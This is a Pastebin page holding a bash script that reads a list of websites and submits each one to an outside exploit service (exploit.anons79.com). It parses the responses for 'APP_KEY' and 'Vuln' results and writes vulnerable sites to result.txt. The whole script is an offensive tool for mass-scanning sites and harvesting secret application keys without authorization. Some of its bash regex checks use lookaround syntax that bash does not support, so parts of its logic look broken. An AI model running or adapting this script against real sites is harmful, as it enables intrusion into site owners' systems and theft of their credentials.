Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- NC='\033[0m'
- RED='\e[38;5;196m'
- GREEN='\e[38;5;82m'
- cek(){
- local ah=$(curl -s "https://exploit.anons79.com/scan.php" \
- -H "authority: exploit.anons79.com" \
- -H "cache-control: max-age=0" \
- -H "upgrade-insecure-requests: 1" \
- -H "origin: https://exploit.anons79.com" \
- -H "content-type: application/x-www-form-urlencoded" \
- -H "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4277.0 Safari/537.36" \
- -H "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \
- -H "sec-fetch-site: same-origin" \
- -H "sec-fetch-mode: navigate" \
- -H "sec-fetch-user: ?1" \
- -H "sec-fetch-dest: document" \
- -H "referer: https://exploit.anons79.com/scan.php" \
- -H "accept-language: en-US,en;q=0.9" \
- --data-raw "command=${SITE}&exploit=Exploit" \
- --compressed)
- local ih=$(echo -e "${ah}" | grep -Po "(?<=Scaning ===>\s).*?(?=\s<)")
- local uh=$(echo -e "${ah}" | grep -Po "(?<=APP_KEY ===>\s).*?(?=\s<)")
- local eh=$(echo -e "${ah}" | grep -Po "(?<=Vuln ===>\s).*?(?=\s<)")
- local return=$(paste <(echo "${ih}") <(echo "${ah}") <(echo "${eh}"))
- if [[ "$ah" =~ "(?<=APP_KEY\s===>\s)Failed(?=\s<)" ]]
- then
- echo -e "${RED}DIE${NC} ${SITE}"
- echo -e "${SITE}" >> die.txt
- elif [[ "$ah" =~ "(?<=Vuln\s===>\s).*?(?=\s<)" ]]
- then
- echo -e "${GREEN}MANUAL${NC} ${SITE}"
- echo -e "${SITE}" >> result.txt
- #elif [[ "$ah" =~ "(?<=Vuln\s===>\s)Failed(?=\s<)" ]]
- else
- echo -e "${RED}${return}${NC}"
- echo -e "${return}" >> unk.txt
- fi
- }
- mc(){
- echo -n "List? "
- read list
- }
- gas(){
- while IFS= read -r SITE
- do
- cek ${SITE}
- done < $list
- }
- mc
- gas
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement